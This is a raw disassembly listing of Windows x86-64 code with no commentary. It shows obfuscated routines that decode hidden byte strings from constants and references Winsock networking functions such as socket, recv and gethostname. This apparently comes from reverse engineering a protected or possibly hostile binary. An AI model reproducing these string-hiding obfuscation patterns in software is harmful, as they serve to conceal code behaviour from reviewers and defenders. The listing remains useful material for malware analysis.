sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140098553
lea ecx, [r11 - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1b
mov byte [rbp + r11 + 0x50], dil
inc r11
jmp 0x140098553
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x69
cmp r8, 0x41
jb 0x1400989a7
movzx r9d, r11b
lea ecx, [r9 - 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x14]
jmp 0x140098ee8
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x49
cmp rbx, 5
jae 0x140098e05
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140098d2d
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x1400989ca
lea ecx, [r11 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x140098e26
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x140098c89
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
jmp 0x140098a08
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140098553
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099006
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140098fde
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140098fab
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x140098fab
movzx r9d, r11b
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140098f55
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
dec r11
inc r11
jmp 0x140098553
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x140098553
movzx r9d, r11b
lea edx, [r9 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140098ee8
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140098bd4
lea ecx, [r11 + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x59
jmp 0x140098a4d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140098c07
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140098553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140098c2f
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099006
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140098c5b
movzx r9d, r11b
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140098f55
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140098a4d
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
dec r11
inc r11
jmp 0x140098553
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140098cb1
movzx r9d, r11b
lea ecx, [r9 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
jmp 0x140098ee8
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140098cde
lea ecx, [r11 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x67
inc r8
dec r11
inc r11
jmp 0x140098553
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140098d05
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
add rbx, r8
jmp 0x140098fab
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140098a08
lea ecx, [r11 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
jmp 0x140098fab
jne 0x140098d5d
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140098553
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140098d81
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140098fde
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140098da9
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140098fab
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140098dd0
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
add rbx, r8
jmp 0x140098fab
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400989ca
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140098553
movzx r9d, r11b
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x50]
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
jmp 0x140098f52
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x50]
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x140098fde
lea ecx, [r11 - 0x39]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x71
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140098553
lea edx, [r11 + 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x2b
add dil, dl
jmp 0x140098fde
lea ecx, [r11 - 0x7f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x79
jmp 0x140098fab
lea ecx, [r11 - 0x41]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x39
add rbx, r8
jmp 0x140098fab
movzx r9d, r11b
lea edx, [r9 - 0x49]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
dec dil
add dil, dl
add r9b, 7
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x31
add r10b, r9b
mov byte [rbp + r11 + 0x50], r10b
inc r8
dec r11
inc r11
jmp 0x140098553
lea ecx, [r11 + 0x71]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x17
inc r8
dec r11
inc r11
jmp 0x140098553
movzx r9d, r11b
lea edx, [r9 - 0x13]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7b
add dil, dl
sub r9b, 0x37
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x7f
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x50], cl
add rbx, r8
jmp 0x140098fab
lea ecx, [r11 + 0x2b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x2d
add rbx, r8
jmp 0x140098fab
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x21
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140098553
lea rcx, [r11 + r12]
movzx r10d, dl
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x6f
add dil, cl
lea edx, [r11 - 0x75]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x33
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, cl
mov byte [rbp + r11 + 0x50], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140098553
lea rcx, [r11 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0xb
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140098553
add r11b, 0x65
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x3d
jmp 0x140098550
sub r11b, 0x5d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x75
jmp 0x140098540
lea rcx, [rbp + 0x140e97c]
jmp 0x1400990bd
lea rcx, [rbp + 0x11267dd]
jmp 0x1400990bd
lea rcx, [rbp + 0x50]
call fcn.14009dcc0
mov dword [rbp + 0x30], 0x48587886
mov dword [rbp + 0x34], 0x9c889e8a
mov dword [rbp + 0x38], 0x4647728e
mov word [rbp + 0x3c], 0xbf92
mov byte [rbp + 0x3e], 0xb0
xor eax, eax
mov dword [rbp + 0x3f], eax
mov word [rbp + 0x43], ax
movabs rsi, 0x43e0913bcb63c2e5
movabs r15, 0xdb23f8a28fba5443
movabs r14, 0xcba1b3b3622b48af
movzx edi, byte [rsp + 0x30]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x15
jae 0x140099bce
movzx r10d, byte [rbp + r11 + 0x30]
mov rdx, r10
cmp rbx, r11
ja 0x140099bc5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140099162
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x43
jmp 0x140099190
je 0x140099b5a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140099adf
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140099aad
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140099a69
nop
cmp r8, r11
ja 0x140099bbc
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400991ba
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
jmp 0x140099200
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140099a4d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140099a12
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400999f7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400999dc
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400999c1
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140099754
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140099731
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14009970d
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400996e8
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400996c9
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400996aa
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14009968f
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140099670
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140099655
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140099627
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140099210
lea rbx, [r8 + 9]
lea r8, [rbx + 0x28]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140099b9f
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140099b82
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400993ee
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400993d3
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400993b8
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400995dc
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140099597
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140099559
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140099536
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140099210
lea rbx, [r8 + 8]
lea r8, [rbx + 2]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140099508
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400994ed
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400994ce
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400994b3
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140099494
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140099475
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140099450
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14009942c
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140099409
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140099210
lea rbx, [r8 + 6]
lea r8, [rbx + 1]
jmp 0x140099210
lea ecx, [r11 + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x61
jmp 0x140099200
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x25
jmp 0x140099190
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x140099133
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140099a83
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
inc r8
dec r11
inc r11
jmp 0x140099123
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140099123
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
movzx r9d, r11b
jmp 0x140099a2c
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099ac3
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
jmp 0x140099ac6
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099af9
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x140099b1d
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140099123
lea ecx, [r11 + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x79
mov byte [rbp + r11 + 0x30], dil
inc r11
jmp 0x140099123
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xd
cmp r8, 5
jb 0x14009954c
movzx r9d, r11b
lea ecx, [r9 + 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x64]
jmp 0x140099a83
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
cmp rbx, 0x64
jae 0x14009997d
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400998f4
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x14009956f
lea ecx, [r11 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x1400999a5
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140099858
lea ecx, [r11 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
jmp 0x1400995ad
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140099123
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x140099b1d
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099af9
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140099ac6
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099ac3
movzx r9d, r11b
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x140099a2c
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140099123
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140099123
movzx r9d, r11b
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099a83
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14009977b
lea ecx, [r11 - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x43
jmp 0x1400995f2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400997b2
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140099123
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400997da
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099ac6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400997fe
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x140099ac3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009982a
movzx r9d, r11b
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099a2c
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400995f2
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
dec r11
inc r11
jmp 0x140099123
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140099880
movzx r9d, r11b
lea ecx, [r9 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
jmp 0x140099a83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400998a8
movzx r9d, r11b
lea ecx, [r9 - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xf
jmp 0x140099a2c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400998cc
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
jmp 0x140099ac3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400995ad
lea ecx, [r11 + 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5f
jmp 0x140099af9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009992b
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140099123
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009994f
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140099af9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009956f
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
dec r11
inc r11
jmp 0x140099123
movzx r9d, r11b
lea edx, [r9 + 8]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0x30]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r10b
jmp 0x140099a2c
lea edx, [r11 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140099af9
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x29
jmp 0x140099af9
lea ecx, [r11 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
jmp 0x140099ac6
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1d
jmp 0x140099ac3
movzx r9d, r11b
lea ecx, [r9 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x69
sub r9b, 0x13
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x7b
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x30], r10b
jmp 0x140099ac3
movzx r9d, r11b
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
jmp 0x140099a83
movzx r9d, r11b
lea ecx, [r9 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
add r9b, 0x23
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0xb
add r10b, r9b
mov byte [rbp + r11 + 0x30], r10b
inc r8
dec r11
inc r11
jmp 0x140099123
lea ecx, [r11 - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140099123
lea rcx, [r11 + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x2b
add dil, cl
lea ecx, [r11 - 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
dec cl
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x30], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x44
add cl, r10b
mov byte [rbp + r11 + 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140099123
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x37
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140099123
sub r11b, 7
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x31
jmp 0x140099120
add r11b, 0x2f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x49
jmp 0x140099110
lea rcx, [rbp + 0x146f20c]
jmp 0x140099bd2
lea rcx, [rbp + 0x6ab4f1]
jmp 0x140099bd2
lea rcx, [rbp + 0x30]
call fcn.14009dcc0
mov dword [rbp + 0x10], 0x9ebe9ad0
mov dword [rbp + 0x14], 0xcad6c7d4
mov dword [rbp + 0x18], 0xebb5d7e8
mov word [rbp + 0x1c], 0x1716
mov byte [rbp + 0x1e], recvfrom
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f], xmm0
mov byte [rbp + 0x2f], al
movabs rsi, 0x1fb49c2f14c4d858
movabs r15, 0xddf045499161ea68
movabs r14, 0x5f1dd48d3e4e8908
movzx edi, byte [rsp + 0x30]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x20
jae 0x14009a796
movzx r10d, byte [rbp + r11 + 0x10]
mov rdx, r10
cmp rbx, r11
ja 0x14009a78d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140099c82
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x68
jmp 0x140099cc0
je 0x14009a722
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009a6a2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009a670
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14009a632
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14009a611
nop dword [rax]
cmp r8, r11
ja 0x14009a784
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x140099cee
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099d22
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009a5c6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009a5a1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009a585
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009a566
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14009a241
nop
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14009a21e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14009a1f7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009a1d6
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14009a2f5
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14009a1b7
lea rcx, [r8 + 9]
cmp rbx, rcx
